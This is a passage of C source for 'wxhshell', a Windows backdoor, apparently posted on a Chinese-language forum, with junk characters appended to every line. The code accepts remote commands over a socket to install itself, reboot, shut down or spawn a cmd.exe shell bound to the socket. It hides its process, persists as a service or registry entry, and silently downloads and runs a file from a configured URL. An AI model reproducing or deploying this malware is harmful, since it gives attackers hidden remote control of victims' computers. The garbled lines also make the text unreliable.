  else { $)Bg JDr  
\_BkY%a  
    switch(cmd[0]) { Ym8}ZW-  
  m`A% p  
  // 帮助 &#w=7L3AW  
  case '?': { E-2 eOT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y] g?2N=E  
    break; G4-z3e,crr  
  } ,xi({{L*  
  // 安装 AC- )BM';  
  case 'i': { ]0j9>s2|Z  
    if(Install()) Z;DCI-Wg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dJk9@u  
    else ,!QV>=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0%OB*lcgE  
    break; @%ECj)u`O  
    } f'Mop= .  
  // 卸载 ,_ 2x{0w:>  
  case 'r': { N_gD>6I  
    if(Uninstall()) Bi%x`4Lf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1NLg _UBOK  
    else `ldz`yu6++  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Me3dpF  
    break; 2DDsWJ;  
    } \?fIt?  
  // 显示 wxhshell 所在路径 } p:%[  
  case 'p': { %&<LNEiUN  
    char svExeFile[MAX_PATH]; (P|pRVO  
    strcpy(svExeFile,"\n\r"); g_.^O$}  
      strcat(svExeFile,ExeFile); m_NCx]#e   
        send(wsh,svExeFile,strlen(svExeFile),0); EG<s_d?  
    break; 8At<Wic  
    } ['qnn|  
  // 重启  :$r ^_  
  case 'b': { YA]5~ ZE\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KLWDo%%u  
    if(Boot(REBOOT)) 0Q9T3X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )xU-;z0"~  
    else { 6;b9swmh  
    closesocket(wsh); XP?rOOn  
    ExitThread(0); ssQ BSbx  
    } 3R$Z[D-  
    break; 'Prxocxq  
    } Ri*3ySyb  
  // 关机 2[yBD-":  
  case 'd': { N:5[,O<m_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |UUdz_i!:  
    if(Boot(SHUTDOWN)) P5 <vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoW6U{\  
    else { <yUstz,Xu^  
    closesocket(wsh); v $({C  
    ExitThread(0); LV{Q,DrP  
    }  >]D4Q<TY  
    break; (g!p>m!Z  
    } e /K#>,  
  // 获取shell GIwh@4;  
  case 's': { 8(U{2B8>\%  
    CmdShell(wsh); ;3'NMk  
    closesocket(wsh); MjL)IgT  
    ExitThread(0); } ?@5W,  
    break; e&<yX  
  } 0ezYdS~o  
  // 退出 {Tp2H_EG  
  case 'x': { 6=GZLpv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YUWn;#  
    CloseIt(wsh); ^ZRYRA  
    break; W6c]-pc  
    } +K",^6%1  
  // 离开 S::=85[>z  
  case 'q': { 3(E $I5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "f.Z}AbP  
    closesocket(wsh); IZ,oM!Y  
    WSACleanup(); |,C#:"z;  
    exit(1); i^`9syD  
    break; CB\{!  
        } z`@^5_  
  } 7E$&2U^Js  
  } iP@6hG`:  
iPG0o %  
  // 提示信息 hf6f.Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )$%Z:  
} $D1w5o-  
  } RBKOM$7  
g2cVZ!GIj  
  return; xb2?lL]  
} tl yJmdl  
T.e.{yO  
// shell模块句柄 [IZM.r`Z  
int CmdShell(SOCKET sock) x[_=#8~.1x  
{ |s+0~$O;  
STARTUPINFO si; s54nF\3V  
ZeroMemory(&si,sizeof(si)); )=pD%$iq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } l 667N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }=](p-]5  
PROCESS_INFORMATION ProcessInfo; /a9 !Cf  
char cmdline[]="cmd"; dhPKHrS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ='?:z2lJ  
  return 0; q6#<[ 4?  
} R6;Phdh<>  
b,H[I!. %  
// 自身启动模式 ~`8hwR1&z  
int StartFromService(void) yc;3Id5?>  
{ xg`h40c  
typedef struct '=E9En#@  
{ imB#Eo4eY  
  DWORD ExitStatus; Nil}js27  
  DWORD PebBaseAddress; ,:n| ?7  
  DWORD AffinityMask; yY{kG2b,  
  DWORD BasePriority; @r^!{  
  ULONG UniqueProcessId; q}|U4MJm  
  ULONG InheritedFromUniqueProcessId;  %V G/  
}   PROCESS_BASIC_INFORMATION; b]Kk2S/  
`bI)<B  
PROCNTQSIP NtQueryInformationProcess; `1` f*d v  
<Cpp?DW_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rt7<Q47QE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z [Xa%~5>5  
`NRH9l>B7  
  HANDLE             hProcess; R@ Y=o].2  
  PROCESS_BASIC_INFORMATION pbi; MZv]s  
UM%o\BiO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _m E^rT  
  if(NULL == hInst ) return 0; P@}Pk  
0*%&>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t !`Jse>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y7\"[<E`(V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fqq6^um  
n^(A=G  
  if (!NtQueryInformationProcess) return 0; km5~Gc}  
I+ l%Sn#\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^>&k]T`  
  if(!hProcess) return 0; NUJ~YWO;  
Wl"0m1G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mdih-u(T|  
ITJ q  
  CloseHandle(hProcess); jn%kG ~]'Q  
F!!N9VIC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o5o^TW{  
if(hProcess==NULL) return 0; ~,6b_W p/  
5AeQQU  
HMODULE hMod; sd re#@n}  
char procName[255]; \t4tiCw  
unsigned long cbNeeded; o}Cq.[G4k  
+t)n;JHN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kYwb -;  
ws/63 d*  
  CloseHandle(hProcess); FN[R(SLbL  
Zi$ziDz&  
if(strstr(procName,"services")) return 1; // 以服务启动 )ukpJ z""  
>RI>J.~  
  return 0; // 注册表启动 ~i;fDQ&!  
} %GEJnJ  
&NZfJs  
// 主模块 hjx)D  
int StartWxhshell(LPSTR lpCmdLine) NtGn88='{  
{ cS .i  
  SOCKET wsl; :6kjEI  
BOOL val=TRUE; \(UKd v  
  int port=0; eL D?jTi'  
  struct sockaddr_in door; zzGYiF ?  
bF}V4"d,B3  
  if(wscfg.ws_autoins) Install(); )U<Y0bZA!  
)u ?' ;  
port=atoi(lpCmdLine); O%!5<8Xrb  
u'A#%}3  
if(port<=0) port=wscfg.ws_port; 9a$56GnW1  
Pi2|  
  WSADATA data; V:NI4dv/R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XJ0 {  
nQK|n^AU/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hv$yV%.`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E .6HpIx  
  door.sin_family = AF_INET; 4A`NJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -|yb[~3  
  door.sin_port = htons(port); AF,BwLN  
HG >j5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Br>Fpe$q4  
closesocket(wsl); u~zs* qp  
return 1; lb' Cl3H  
} `'_m\uo  
SU_SU".  
  if(listen(wsl,2) == INVALID_SOCKET) { BZK`O/  
closesocket(wsl); 4pz|1Hw7  
return 1; }A$WO {2  
} s Wjy6;  
  Wxhshell(wsl); ({}(qm  
  WSACleanup(); vdoZ&Tu  
@MR?6n*k  
return 0; C R<`ZNuWz  
v{x{=M]  
} -]G(ms;}/Y  
(LAXM x  
// 以NT服务方式启动 2i#Sn'1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `:{B(+6  
{ p^m5`{1]x  
DWORD   status = 0; 0Sl]!PZR1  
  DWORD   specificError = 0xfffffff; 72 TI  
96Wp!]*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =;~I_)Pg1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1{"llD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?z-}>$I;  
  serviceStatus.dwWin32ExitCode     = 0; ^>4o$}  
  serviceStatus.dwServiceSpecificExitCode = 0; OvL\u{(<F  
  serviceStatus.dwCheckPoint       = 0; %rKK[  
  serviceStatus.dwWaitHint       = 0; ']6VB,c`  
JHn*->m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }]P4-KqI  
  if (hServiceStatusHandle==0) return; q!'rz  
s'P( ,!f  
status = GetLastError(); bJr[I  
  if (status!=NO_ERROR) ug 7o>PX  
{ XdEPbD-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vsq8H}K  
    serviceStatus.dwCheckPoint       = 0; A^fjfa);V  
    serviceStatus.dwWaitHint       = 0; =V+I=rqo  
    serviceStatus.dwWin32ExitCode     = status; <g8K})P  
    serviceStatus.dwServiceSpecificExitCode = specificError; (AY9oei>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "L"150Ih  
    return; {43yb_B(  
  } Z5G!ct:W  
I XA>`D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DsDzkwJE  
  serviceStatus.dwCheckPoint       = 0; y k161\  
  serviceStatus.dwWaitHint       = 0; )(Iy<Y?#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tYW>t9  
} ] 7;f?+  
kW=z+  
// 处理NT服务事件,比如:启动、停止 P%pp )BS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }WFf''Z-  
{ }7<5hn E  
switch(fdwControl) Zwt;d5U  
{ D6D1S/:ij'  
case SERVICE_CONTROL_STOP: Z~G my7h(  
  serviceStatus.dwWin32ExitCode = 0; PnT)LqEF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &FdWFt=X  
  serviceStatus.dwCheckPoint   = 0; gA#RM5x@  
  serviceStatus.dwWaitHint     = 0; { Ng oYl  
  { )+I.|5g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZBD;a;wx  
  } "LhUxnll  
  return; .o{0+fC#  
case SERVICE_CONTROL_PAUSE: 1tzV8(7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u}hF8eD  
  break; dHnR_.  
case SERVICE_CONTROL_CONTINUE: eZhPu'id\s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dP$GThGl  
  break; M s9E@E  
case SERVICE_CONTROL_INTERROGATE: qgt[~i*  
  break; 3{Nbp  
}; %rQuBi# 1f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `\>.h  
} +y+"Fyl  
xk~IN%\  
// 标准应用程序主函数 &tR(n$ M@>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D,l,`jv*  
{ %9C@ Xl  
B=L&bx  
// 获取操作系统版本 j '%4{n  
OsIsNt=GetOsVer(); iItcN;;7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5}ie]/[|  
c{ZY,C&<  
  // 从命令行安装 9D\4n  
  if(strpbrk(lpCmdLine,"iI")) Install(); Uh}seB#mJj  
d87vl13  
  // 下载执行文件 PrQ?PvA<L  
if(wscfg.ws_downexe) { vEM(bT=H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zx }&c |Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z]w# vLR  
} vQVK$n`  
$>M<j  
if(!OsIsNt) { f}c\_}(  
// 如果时win9x,隐藏进程并且设置为注册表启动 txql 2  
HideProc(); Ko>&)%))$X  
StartWxhshell(lpCmdLine); f67NWFX  
} }0 hL~i  
else N<|$h5isq  
  if(StartFromService()) 2g{)AtK$#  
  // 以服务方式启动 vY|^/[x#B  
  StartServiceCtrlDispatcher(DispatchTable); z(uZF3  
else MjfFf} @  
  // 普通方式启动 l*b)st_p%  
  StartWxhshell(lpCmdLine); PQW(EeQ  
Gnm4gF!BI  
return 0; iL{M+Ic  
}
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只看该作者 1 发表于: 2006-10-10
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